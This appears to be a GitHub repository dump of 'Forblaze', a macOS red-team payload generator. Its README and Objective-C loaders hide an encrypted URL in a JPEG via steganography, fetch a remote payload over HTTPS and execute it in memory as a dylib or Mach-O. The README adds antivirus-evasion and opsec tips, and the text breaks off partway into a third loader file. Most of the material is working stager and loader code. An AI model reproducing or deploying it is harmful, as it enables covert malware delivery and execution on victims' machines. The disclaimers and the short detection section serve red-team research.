├── LICENSE ├── Land-of-Belle.jpeg ├── README.md ├── compile_forblaze_method1.m ├── compile_forblaze_method2.m ├── compile_forblaze_method3.m ├── forblaze_url.py ├── macho.c └── macho.h /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, asaurusrex 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Land-of-Belle.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/asaurusrex/Forblaze/653e8b8e2b946734724b5f15169ce3dee616d429/Land-of-Belle.jpeg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Forblaze - A Python Mac Steganography Payload Generator/In-Memory Dylib/MachO Execution 2 | Author: AsaurusRex 3 | 4 | ## Disclaimer 5 | DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance the missions of both red and blue teams. 6 | 7 | ## Blog Post 8 | For the blog post regarding Forblaze, check out https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571 9 | 10 | ## Purpose 11 | Forblaze is a project designed to provide steganography capabilities to Mac OS payloads. Using python3, it will build an Obj-C file for you which will be compiled to pull desired encrypted URLs out of the stego file, fetch payloads over https, and execute them directly into memory. It utilizes custom encryption - it is not cryptographically secure, but purely to thwart analysis by AV engines. It is a slight deviation on my previously built custom encryption for Windows, called Rubicon, and is more simple in practice. Forblaze utilizes header and footer bytes to identify where in the stego file your encrypted bytes are, and then decrypts them with a hard-coded key in compile_forblaze.m. This key can be saved and re-used, with the effect that a different URL could be used to fetch a different payload, and the same compiled forblaze should still be able to execute and process it (provided the header and footer bytes aren't changed, and the new stego file is uploaded to the correct location.) 12 | 13 | ## Requirements: 14 | Python3 (only tested with Python3.9+), and some associated Python libraries - pip3 should take care of any python dependencies you need. In addition, clang will be used for compilation, and forblaze should be run on a mac so that forblaze can be correctly compiled. 15 | 16 | ## Usage 17 | 18 | usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] 19 | [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] 20 | [-compiled_binary COMPILED_BINARY] 21 | 22 | Generate stego for implants. 23 | 24 | optional arguments: 25 | 26 | -h, --help show this help message and exit 27 | 28 | -innocent_path PATH Provide the full path to the innocent file to be used. 29 | 30 | -o OUTPUT Provide the path where you want your stego file to be placed. 31 | 32 | -len_key LENGTH_OF_KEY 33 | Provide a positive integer that will be the length of the key in bytes. Default is 16. Must be between 10 and 150 bytes. 34 | 35 | 36 | -url_to_encrypt URL Provide the URL you want to stick inside the compile file. 37 | 38 | -supply_key SUPPLIED_KEY 39 | If you wish to use a specific key, provide it here. It must be in the format: -supply_key "\\x6e\\x60\\x..." - aka two double slashes are needed between each byte, 40 | or else it WILL NOT WORK. 41 | 42 | -stego_location STEGO_LOCATION 43 | You must provide a location on target where the stego file will reside. It is wise to follow strict full paths: /Users/<>/Documents/file.jpg for example. 44 | 45 | -compiled_binary COMPILED_BINARY 46 | Give the name of the compiled binary to extract the URL and run code in memory from the stego file. The default is forblaze. 47 | 48 | -method METHOD Select which method you wish to use. Method 1 relies on executing a dylib directly into memory, and works with Go payloads as well as regular payloads. Method 2 49 | relies on executing a macho file directly into memory, but does not work with Go compiled payloads. Method 3 is method 1 but relies on fetching the decrypting key 50 | over a server, which is more opsec friendly. The default method is 1. NOTE: You still might need to edit the 'module' (aka RunMain) manually depending on your 51 | execution method! 52 | 53 | -key_url KEY_URL Provide the URL to the key to decrypt the stego file. 54 | 55 | ``` 56 | python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary 57 | ``` 58 | 59 | ## Opsec Concerns 60 | Honestly, not too many. Mac OS detections are still pretty poor, especially for in-memory activity. As an exercise for the reader, you could also call payload bytes directly vs a URL with some slight modifications to this code. However, depending on the size of your payload, the encryption piece in the python script might take an unacceptably long time to complete. 61 | 62 | Note: since this code compiles to a Mach-O binary (not a dylib, although that can be changed pretty easily in the code), controls like Gatekeeper will prevent it from executing by default unless you can sign the payload or remove the quarantine attribute. 63 | 64 | I would recommend changing things like the number of random bytes generated from the default, and changing the default header and footer bytes that forblaze uses to find the payload in the stego file (as well as the length of those header and footer bytes to perhaps be more inconspicuous). 65 | 66 | For the best OpSec, I recommend fetching your decryption key from an external server you control - then you can control access to that key strictly, making RE much more difficult. 67 | 68 | ## Detection/Prevention 69 | Steganography is pretty difficult to detect. If you know where the stego file is, you can begin to extract the suspect bytes after the end of the normal file EOF (so after "FFD9" for jpegs for example). These suspect bytes will still include the actual encrypted payload and nonsense random bytes, which would be hard to distinguish from each other unless you possess the header and trailing bytes specified by Forblaze. You could look through these bytes and look for patterns of repeating bytes, since this is how the header and footer bytes with forblaze tend to work, but a skilled operator could make that more difficult to find than the default. If a payload is caught you could obviously RE the binary and try to locate the stego file, and then try to use the hard-coded key and headers/footers to reverse the URL being called (or other bytes). But that all assumes you found the binary by some other means. 70 | 71 | 72 | ## Testing 73 | This tool has been tested on various versions of Mac OS, including Big Sur and Catalina (x64 systems). Please let me know if you have problems. 74 | 75 | ## Technical Nitty Gritty 76 | 77 | The custom encryption is a basic Caesar cipher, where different bytes of the key are used to shift the bytes of your plaintext bytes. This is why larger keys aren't NECESSARILY better for your encryption - it depends on the length of your plaintext. If your plaintext is 50 bytes, and you use a 150 byte key, only the first 50 bytes of your key will be used. If your plaintext is > 150 bytes however, the longer keys would be more secure. 78 | 79 | The steganography is quite simple: the bytes of your original innocent file are kept the same, and random bytes (along with your encrypted payload bytes) are appended after these bytes. These random bytes are by default anywhere between 2 and 2000 in length (this should likely be changed to fit your plaintext size -> larger plaintexts should mean more random bytes are generated). 80 | 81 | The in-memory execution piece is following https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, as well as the maisal loader (can't find the link at the moment), with the simple change that instead of reading payload bytes from an on-disk file, they are read over http/https. 82 | 83 | 84 | ## Contributions/Comments/Criticisms 85 | I am very open to receiving comments and to collaboration! Hopefully this helps generate useful discussion around the topic of custom crypto, or provides researchers some new insights. 86 | -------------------------------------------------------------------------------- /compile_forblaze_method1.m: -------------------------------------------------------------------------------- 1 | //Written by AsaurusRex, DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance the missions of both red and blue teams. 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include "macho.h" 8 | 9 | #import 10 | 11 | //decrypt our bytes 12 | unsigned char* DecryptBytes(unsigned char* encrypted_bytes, unsigned char* key, int size_encrypted_bytes, int size_key) 13 | { 14 | unsigned char* decrypted_code = malloc(size_encrypted_bytes); 15 | //decryption loop 16 | int integer; 17 | 18 | for (int i = 0; i < size_encrypted_bytes; i++) 19 | { 20 | //generic wait function 21 | // if (i % 2 == 0) 22 | // { 23 | // sleep(1); 24 | // } 25 | //determine the key byte 26 | 27 | if (size_key < i+1) 28 | { 29 | integer = encrypted_bytes[i] - key[i%size_key]; 30 | } 31 | 32 | else 33 | { 34 | integer = encrypted_bytes[i] - key[i]; 35 | } 36 | 37 | 38 | 39 | if (integer < 0) 40 | { 41 | integer = 256 + integer; 42 | } 43 | decrypted_code[i] = (unsigned char)integer; 44 | } 45 | 46 | //weird error where random bytes are added to the end of decrypted string - this will prevent it. 47 | 48 | int s = strlen(decrypted_code); 49 | while (s > size_encrypted_bytes) 50 | { 51 | // printf("%d is length decrypted, but %d is size it should be!\n", s, size_encrypted_bytes); 52 | // printf("Initiating another round...\n"); 53 | 54 | unsigned char* decrypted = malloc(size_encrypted_bytes); //maybe clean this up... 55 | decrypted = DecryptBytes(encrypted_bytes, key, size_encrypted_bytes, size_key); 56 | if (strlen(decrypted) == size_encrypted_bytes) 57 | { 58 | return decrypted; 59 | } 60 | break; 61 | 62 | } 63 | return decrypted_code; 64 | } 65 | 66 | //Find header byte offset 67 | int find_header(unsigned const char* buffer, int size_file) 68 | { 69 | //place header offset bytes here: 70 | int head_byte_offset; 71 | unsigned char header1[1] = { 0x59 }; 72 | unsigned char header2[1] = { 0x4e }; 73 | //Find the index of where encrypted byte stream begins 74 | for (int i =0; i< size_file; i++) 75 | { 76 | if (buffer[i] == header1[0]) 77 | { 78 | if (buffer[i+1] == header1[0]) 79 | { 80 | if (buffer[i+2] == header1[0]) 81 | { 82 | if (buffer[i+3] == header1[0]) 83 | { 84 | if (buffer[i+4] == header1[0]) 85 | { 86 | if (buffer[i+5] == header1[0]) 87 | { 88 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 89 | head_byte_offset = i+6; 90 | 91 | } 92 | } 93 | } 94 | } 95 | } 96 | } 97 | 98 | if (buffer[i] == header2[0]) 99 | { 100 | if (buffer[i+1] == header2[0]) 101 | { 102 | if (buffer[i+2] == header2[0]) 103 | { 104 | if (buffer[i+3] == header2[0]) 105 | { 106 | if (buffer[i+4] == header2[0]) 107 | { 108 | if (buffer[i+5] == header2[0]) 109 | { 110 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 111 | head_byte_offset = i+6; 112 | } 113 | } 114 | } 115 | } 116 | } 117 | } 118 | } 119 | return head_byte_offset; 120 | } 121 | 122 | //find last byte of offset 123 | int find_footer(unsigned const char* buffer, int size_file) 124 | { 125 | //place trail offset bytes here: 126 | int trail_byte_offset; 127 | unsigned char tail1[1] = { 0xab }; 128 | unsigned char tail2[1] = { 0x97 }; 129 | 130 | for (int i =0; i< size_file; i++) 131 | { 132 | //Find the index of where the byte stream ends 133 | if (buffer[i] == tail1[0]) 134 | { 135 | if (buffer[i+1] == tail1[0]) 136 | { 137 | if (buffer[i+2] == tail1[0]) 138 | { 139 | if (buffer[i+3] == tail1[0]) 140 | { 141 | if (buffer[i+4] == tail1[0]) 142 | { 143 | if (buffer[i+5] == tail1[0]) 144 | { 145 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 146 | trail_byte_offset = i; 147 | } 148 | } 149 | } 150 | } 151 | } 152 | } 153 | 154 | if (buffer[i] == tail2[0]) 155 | { 156 | if (buffer[i+1] == tail2[0]) 157 | { 158 | if (buffer[i+2] == tail2[0]) 159 | { 160 | if (buffer[i+3] == tail2[0]) 161 | { 162 | if (buffer[i+4] == tail2[0]) 163 | { 164 | if (buffer[i+5] == tail2[0]) 165 | { 166 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 167 | trail_byte_offset = i; 168 | } 169 | } 170 | } 171 | } 172 | } 173 | } 174 | 175 | } 176 | return trail_byte_offset; 177 | } 178 | 179 | int execution(unsigned char* decrypted_bytes) 180 | { 181 | ////printf("Beginning attack run\n"); 182 | NSString *stringURL = [NSString stringWithFormat:@"%s", decrypted_bytes]; 183 | 184 | NSURL *url = [NSURL URLWithString:stringURL]; 185 | //the error resides in the line below 186 | 187 | NSData *urlData = [NSData dataWithContentsOfURL:url]; 188 | //printf("Validating online version information..."); //DO NOT COMMENT OUT OR REMOVE THIS - OR ELSE CODE WILL BREAK 189 | ////printf("Dingleberry\n"); 190 | 191 | if ( urlData ) 192 | { 193 | //sleep(1); 194 | 195 | int size = urlData.length; 196 | ////printf("%d", size); 197 | 198 | 199 | const char* buffer = (const char*)[urlData bytes]; 200 | 201 | // Force type to MH_BUNDLE 202 | ((uint32_t *)buffer)[3] = 0x8; 203 | func_t funcs; 204 | printf("Validating online version information..."); //DO NOT COMMENT OUT OR REMOVE THIS - OR ELSE CODE WILL BREAK 205 | // Resolve the functions 206 | if (!macho_bootstrap(&funcs)) 207 | { 208 | //print("Couldn't find libdyld in memory\n"); 209 | exit(-1); 210 | } 211 | 212 | // Load the module 213 | void *module = macho_load(&funcs, (void *)buffer, size); 214 | 215 | if (!module) 216 | { 217 | //print("Couldn't load the module\n"); 218 | return 0; 219 | } 220 | 221 | //print("Module loaded!\n"); 222 | void (*f)() = macho_sym(&funcs, module, "_RunMain"); //might need to change this to reflect the export function of your dylib 223 | 224 | if (!f) 225 | { 226 | //print("Couldn't resolve the symbol\n"); 227 | return 0; 228 | } 229 | 230 | //print("All good, let's exec!\n"); 231 | 232 | // And we are done! 233 | f(); 234 | } 235 | 236 | return 0; 237 | } 238 | 239 | int main() 240 | { 241 | sleep(2); //added delay because it seems to produce more reliable execution 242 | //key here: 243 | unsigned char* key = "\xe1\x77\x51\xca\x97\x22\x00\xe4\x26\xf2\xdd\xf5\x82\x98\x45\xf6"; 244 | 245 | //size_key here: 246 | int size_key = 16.0; 247 | 248 | //stego file location: 249 | NSString *file = [NSString stringWithFormat:@"/tmp/direct_test.jpg"]; 250 | NSData* data0 = [NSData dataWithContentsOfFile:file options:NSDataReadingUncached error:NULL]; 251 | 252 | unsigned const char* buffer = (unsigned const char*)[data0 bytes]; 253 | ////printf("%d is the size of the file\n", data0.length); 254 | 255 | int size_file = data0.length; 256 | 257 | int head_byte_offset = find_header(buffer, size_file); 258 | int trail_byte_offset = find_footer(buffer, size_file); 259 | 260 | ////printf("%d is head byte position, %d is trail byte position\n", head_byte_offset, trail_byte_offset); 261 | int j = head_byte_offset; 262 | int size_encrypted_bytes = trail_byte_offset-head_byte_offset; 263 | unsigned char* encrypted_bytes = malloc(size_encrypted_bytes); //carve out as much memory as we need for our encrypted bytes based on offsets 264 | 265 | int count = 0; 266 | //carve out the encrypted bytes 267 | for (j; j < trail_byte_offset+1; j++) 268 | { 269 | 270 | encrypted_bytes[count] = buffer[j]; 271 | ////printf("%02X", buffer[j]); 272 | count = count + 1; //use count to increase index for encrypted_bytes 273 | } 274 | 275 | unsigned char* decrypted = malloc(size_encrypted_bytes); 276 | decrypted = DecryptBytes(encrypted_bytes, key, size_encrypted_bytes, size_key); 277 | free(buffer); 278 | //const unsigned char* url = (const unsigned char*) decrypted; 279 | 280 | 281 | //printf("%s is the decrypted string\n", decrypted); 282 | //sleep(1); 283 | 284 | if (execution(decrypted)) 285 | { 286 | free(decrypted); 287 | free(encrypted_bytes); 288 | 289 | 290 | //printf("Finished up"); 291 | } 292 | else{ 293 | //printf("error"); 294 | exit(-1); 295 | } 296 | return 0; 297 | } 298 | 299 | 300 | -------------------------------------------------------------------------------- /compile_forblaze_method2.m: -------------------------------------------------------------------------------- 1 | //Written by AsaurusRex, DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance the missions of both red and blue teams. 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | #import 19 | 20 | #define EXECUTABLE_BASE_ADDR 0x100000000 21 | #define DYLD_BASE 0x00007fff5fc00000 22 | 23 | int IS_SIERRA = -1; 24 | 25 | int is_sierra(void) { 26 | // returns 1 if running on Sierra, 0 otherwise 27 | // this works because /bin/rcp was removed in Sierra 28 | if(IS_SIERRA == -1) { 29 | struct stat statbuf; 30 | IS_SIERRA = (stat("/bin/rcp", &statbuf) != 0); 31 | } 32 | return IS_SIERRA; 33 | } 34 | 35 | //decrypt our bytes 36 | unsigned char* DecryptBytes(unsigned char* encrypted_bytes, unsigned char* key, int size_encrypted_bytes, int size_key) 37 | { 38 | unsigned char* decrypted_code = malloc(size_encrypted_bytes); 39 | //decryption loop 40 | int integer; 41 | 42 | for (int i = 0; i < size_encrypted_bytes; i++) 43 | { 44 | //generic wait function 45 | // if (i % 2 == 0) 46 | // { 47 | // sleep(1); 48 | // } 49 | //determine the key byte 50 | 51 | if (size_key < i+1) 52 | { 53 | integer = encrypted_bytes[i] - key[i%size_key]; 54 | } 55 | 56 | else 57 | { 58 | integer = encrypted_bytes[i] - key[i]; 59 | } 60 | 61 | 62 | 63 | if (integer < 0) 64 | { 65 | integer = 256 + integer; 66 | } 67 | decrypted_code[i] = (unsigned char)integer; 68 | } 69 | 70 | 71 | int s = strlen(decrypted_code); 72 | while (s > size_encrypted_bytes) 73 | { 74 | unsigned char* DecryptBytes(unsigned char* encrypted_bytes, unsigned char* key, int size_encrypted_bytes, int size_key); 75 | } 76 | return decrypted_code; 77 | } 78 | //Find header byte offset 79 | int find_header(unsigned const char* buffer, int size_file) 80 | { 81 | //place header offset bytes here: 82 | int head_byte_offset; 83 | unsigned char header1[1] = { 0x59 }; 84 | unsigned char header2[1] = { 0x4e }; 85 | //Find the index of where encrypted byte stream begins 86 | for (int i =0; i< size_file; i++) 87 | { 88 | if (buffer[i] == header1[0]) 89 | { 90 | if (buffer[i+1] == header1[0]) 91 | { 92 | if (buffer[i+2] == header1[0]) 93 | { 94 | if (buffer[i+3] == header1[0]) 95 | { 96 | if (buffer[i+4] == header1[0]) 97 | { 98 | if (buffer[i+5] == header1[0]) 99 | { 100 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 101 | head_byte_offset = i+6; 102 | 103 | } 104 | } 105 | } 106 | } 107 | } 108 | } 109 | 110 | if (buffer[i] == header2[0]) 111 | { 112 | if (buffer[i+1] == header2[0]) 113 | { 114 | if (buffer[i+2] == header2[0]) 115 | { 116 | if (buffer[i+3] == header2[0]) 117 | { 118 | if (buffer[i+4] == header2[0]) 119 | { 120 | if (buffer[i+5] == header2[0]) 121 | { 122 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 123 | head_byte_offset = i+6; 124 | } 125 | } 126 | } 127 | } 128 | } 129 | } 130 | } 131 | return head_byte_offset; 132 | } 133 | 134 | //find last byte of offset 135 | int find_footer(unsigned const char* buffer, int size_file) 136 | { 137 | //place trail offset bytes here: 138 | int trail_byte_offset = 0; 139 | unsigned char tail1[1] = { 0xab }; 140 | unsigned char tail2[1] = { 0x97 }; 141 | 142 | for (int i =0; i< size_file; i++) 143 | { 144 | //Find the index of where the byte stream ends 145 | if (buffer[i] == tail1[0]) 146 | { 147 | if (buffer[i+1] == tail1[0]) 148 | { 149 | if (buffer[i+2] == tail1[0]) 150 | { 151 | if (buffer[i+3] == tail1[0]) 152 | { 153 | if (buffer[i+4] == tail1[0]) 154 | { 155 | if (buffer[i+5] == tail1[0]) 156 | { 157 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 158 | trail_byte_offset = i; 159 | } 160 | } 161 | } 162 | } 163 | } 164 | } 165 | 166 | if (buffer[i] == tail2[0]) 167 | { 168 | if (buffer[i+1] == tail2[0]) 169 | { 170 | if (buffer[i+2] == tail2[0]) 171 | { 172 | if (buffer[i+3] == tail2[0]) 173 | { 174 | if (buffer[i+4] == tail2[0]) 175 | { 176 | if (buffer[i+5] == tail2[0]) 177 | { 178 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 179 | trail_byte_offset = i; 180 | } 181 | } 182 | } 183 | } 184 | } 185 | } 186 | 187 | } 188 | return trail_byte_offset; 189 | } 190 | 191 | 192 | int find_macho(unsigned long addr, unsigned long *base, unsigned int increment, unsigned int dereference) { 193 | unsigned long ptr; 194 | 195 | // find a Mach-O header by searching from address. 196 | *base = 0; 197 | 198 | while(1) { 199 | ptr = addr; 200 | if(dereference) ptr = *(unsigned long *)ptr; 201 | chmod((char *)ptr, 0777); 202 | if(errno == 2 /*ENOENT*/ && 203 | ((int *)ptr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) { 204 | *base = ptr; 205 | return 0; 206 | } 207 | 208 | addr += increment; 209 | } 210 | return 1; 211 | } 212 | 213 | int find_epc(unsigned long base, struct entry_point_command **entry) { 214 | // find the entry point command by searching through base's load commands 215 | 216 | struct mach_header_64 *mh; 217 | struct load_command *lc; 218 | 219 | unsigned long text = 0; 220 | 221 | *entry = NULL; 222 | 223 | mh = (struct mach_header_64 *)base; 224 | lc = (struct load_command *)(base + sizeof(struct mach_header_64)); 225 | for(int i=0; incmds; i++) { 226 | if(lc->cmd == LC_MAIN) { //0x80000028 227 | *entry = (struct entry_point_command *)lc; 228 | return 0; 229 | } 230 | 231 | lc = (struct load_command *)((unsigned long)lc + lc->cmdsize); 232 | } 233 | 234 | return 1; 235 | } 236 | 237 | unsigned long resolve_symbol(unsigned long base, unsigned int offset, unsigned int match) { 238 | // Parse the symbols in the Mach-O image at base and return the address of the one 239 | // matched by the offset / int pair (offset, match) 240 | struct load_command *lc; 241 | struct segment_command_64 *sc, *linkedit, *text; 242 | struct symtab_command *symtab; 243 | struct nlist_64 *nl; 244 | 245 | char *strtab; 246 | 247 | symtab = 0; 248 | linkedit = 0; 249 | text = 0; 250 | 251 | lc = (struct load_command *)(base + sizeof(struct mach_header_64)); 252 | for(int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) { 253 | if(lc->cmd == 0x2/*LC_SYMTAB*/) { 254 | symtab = (struct symtab_command *)lc; 255 | } else if(lc->cmd == 0x19/*LC_SEGMENT_64*/) { 256 | sc = (struct segment_command_64 *)lc; 257 | switch(*((unsigned int *)&((struct segment_command_64 *)lc)->segname[2])) { //skip __ 258 | case 0x4b4e494c: //LINK 259 | linkedit = sc; 260 | break; 261 | case 0x54584554: //TEXT 262 | text = sc; 263 | break; 264 | } 265 | } 266 | lc = (struct load_command *)((unsigned long)lc + lc->cmdsize); 267 | } 268 | 269 | if(!linkedit || !symtab || !text) return -1; 270 | 271 | unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff; 272 | strtab = (char *)(base + file_slide + symtab->stroff); 273 | 274 | nl = (struct nlist_64 *)(base + file_slide + symtab->symoff); 275 | for(int i=0; insyms; i++) { 276 | char *name = strtab + nl[i].n_un.n_strx; 277 | if(*(unsigned int *)&name[offset] == match) { 278 | if(is_sierra()) { 279 | return base + nl[i].n_value; 280 | } else { 281 | return base - DYLD_BASE + nl[i].n_value; 282 | } 283 | } 284 | } 285 | 286 | return -1; 287 | } 288 | 289 | int load_and_exec(char *path_to_file, unsigned long dyld) { 290 | // Load the binary specified by path_to_file using dyld 291 | char *binbuf = NULL; 292 | unsigned int size; 293 | unsigned long addr; 294 | 295 | 296 | NSObjectFileImageReturnCode(*create_file_image_from_memory)(const void *, size_t, NSObjectFileImage *) = NULL; 297 | NSModule (*link_module)(NSObjectFileImage, const char *, unsigned long) = NULL; 298 | 299 | //resolve symbols for NSCreateFileImageFromMemory & NSLinkModule 300 | addr = resolve_symbol(dyld, 25, 0x4d6d6f72); 301 | if(addr == -1) { 302 | fprintf(stderr, "Could not resolve symbol: _sym[25] == 0x4d6d6f72.\n"); 303 | //goto err; 304 | return -1; 305 | } 306 | create_file_image_from_memory = (NSObjectFileImageReturnCode (*)(const void *, size_t, NSObjectFileImage *)) addr; 307 | 308 | addr = resolve_symbol(dyld, 4, 0x4d6b6e69); 309 | if(addr == -1) { 310 | fprintf(stderr, "Could not resolve symbol: _sym[4] == 0x4d6b6e69.\n"); 311 | //goto err; 312 | return -1; 313 | } 314 | link_module = (NSModule (*)(NSObjectFileImage, const char *, unsigned long)) addr; 315 | 316 | 317 | NSString *stringURL = [NSString stringWithFormat:@"%s", path_to_file]; 318 | NSURL *url = [NSURL URLWithString:stringURL]; 319 | NSData *urlData = [NSData dataWithContentsOfURL:url]; 320 | 321 | if ( urlData ) 322 | { 323 | 324 | 325 | int size = urlData.length; 326 | char** buf = &binbuf; 327 | //printf("Size is %d", size); 328 | 329 | 330 | // if((*buf = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANON, -1, 0)) == MAP_FAILED) return 1; 331 | // if(read(urlData, *buf, size * sizeof(char)) != size) { 332 | // free(*buf); 333 | // *buf = NULL; 334 | // return 1; 335 | // } 336 | 337 | //close(urlData); 338 | 339 | const char* binbuf = (const char*)[urlData bytes]; 340 | 341 | // binbuf = (char*)[urlData bytes]; 342 | // // // load path_to_file into a buf in memory 343 | // // if(load_from_path(path_to_file, &binbuf)) goto err; 344 | 345 | // change the filetype to a bundle 346 | int type = ((int *)binbuf)[3]; 347 | if(type != 0x8) ((int *)binbuf)[3] = 0x8; //change to mh_bundle type 348 | //printf("%02X", type); 349 | 350 | // create file image 351 | NSObjectFileImage fi; 352 | if(create_file_image_from_memory(binbuf, size, &fi) != 1) { 353 | fprintf(stderr, "Could not create image.\n"); 354 | goto err; 355 | } 356 | 357 | // link image 358 | NSModule nm = link_module(fi, "mytest", NSLINKMODULE_OPTION_PRIVATE | 359 | NSLINKMODULE_OPTION_BINDNOW); 360 | if(!nm) { 361 | fprintf(stderr, "Could not link image.\n"); 362 | goto err; 363 | } 364 | 365 | // find entry point and call it 366 | if(type == 0x2) { //mh_execute 367 | unsigned long execute_base; 368 | struct entry_point_command *epc; 369 | 370 | if(find_macho((unsigned long)nm, &execute_base, sizeof(int), 1)) { 371 | fprintf(stderr, "Could not find execute_base.\n"); 372 | goto err; 373 | } 374 | 375 | if(find_epc(execute_base, &epc)) { 376 | fprintf(stderr, "Could not find entrypt command.\n"); 377 | goto err; 378 | } 379 | 380 | int(*main)(int, char**, char**, char**) = (int(*)(int, char**, char**, char**))(execute_base + epc->entryoff); 381 | char *argv[]={"test", NULL}; 382 | int argc = 1; 383 | char *env[] = {NULL}; 384 | char *apple[] = {NULL}; 385 | return main(argc, argv, env, apple); 386 | } 387 | err: 388 | if(binbuf) free(binbuf); 389 | return 1; 390 | } 391 | return 0; 392 | } 393 | 394 | int main(int ac, char **av) { 395 | 396 | sleep(2); //added delay because it seems to produce more reliable execution 397 | 398 | 399 | //key here: 400 | unsigned char* key = "\xf4\xd8\x68\x2f\xc1\xa7\xce\x20\x13\xd5\x89\xe4\x47\x2e\x7c\xac"; 401 | 402 | //size_key here: 403 | int size_key = 16.0; 404 | 405 | //stego file location: 406 | NSString *file = [NSString stringWithFormat:@"/tmp/direct_test.jpg"]; 407 | NSData* data0 = [NSData dataWithContentsOfFile:file options:NSDataReadingUncached error:NULL]; 408 | 409 | unsigned const char* buffer = (unsigned const char*)[data0 bytes]; 410 | //printf("%d is the size of the file\n", data0.length); 411 | 412 | int size_file = data0.length; 413 | 414 | int head_byte_offset = find_header(buffer, size_file); 415 | int trail_byte_offset = find_footer(buffer, size_file); 416 | 417 | //printf("%d is head byte position, %d is trail byte position\n", head_byte_offset, trail_byte_offset); 418 | int j = head_byte_offset; 419 | int size_encrypted_bytes = trail_byte_offset-head_byte_offset; 420 | unsigned char* encrypted_bytes = malloc(size_encrypted_bytes); //carve out as much memory as we need for our encrypted bytes based on offsets 421 | 422 | int count = 0; 423 | //carve out the encrypted bytes 424 | for (j; j < trail_byte_offset+1; j++) 425 | { 426 | 427 | encrypted_bytes[count] = buffer[j]; 428 | //printf("%02X", buffer[j]); 429 | count = count + 1; //use count to increase index for encrypted_bytes 430 | } 431 | 432 | unsigned char* decrypted = malloc(size_encrypted_bytes); 433 | decrypted = DecryptBytes(encrypted_bytes, key, size_encrypted_bytes, size_key); 434 | free(buffer); 435 | //uncomment this for normal binary 436 | 437 | // if(ac != 2) { 438 | // fprintf(stderr, "usage: %s \n", av[0]); 439 | // exit(1); 440 | // } 441 | 442 | //const unsigned char* url = (const unsigned char*) decrypted; 443 | 444 | 445 | //printf("%s is the decrypted string\n", decrypted); 446 | //sleep(1); 447 | unsigned long binary, dyld; 448 | 449 | // find dyld based on os version 450 | if(is_sierra()) { 451 | if(find_macho(EXECUTABLE_BASE_ADDR, &binary, 0x1000, 0)) return 1; 452 | if(find_macho(binary + 0x1000, &dyld, 0x1000, 0)) return 1; 453 | } else { 454 | if(find_macho(DYLD_BASE, &dyld, 0x1000, 0)) return 1; 455 | } 456 | 457 | //av[1] = "http://172.16.29.128:8000/poseidon.bin"; 458 | // load and execute the specified binary 459 | return load_and_exec(decrypted, dyld); 460 | } 461 | -------------------------------------------------------------------------------- /compile_forblaze_method3.m: -------------------------------------------------------------------------------- 1 | //Written by AsaurusRex, DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance 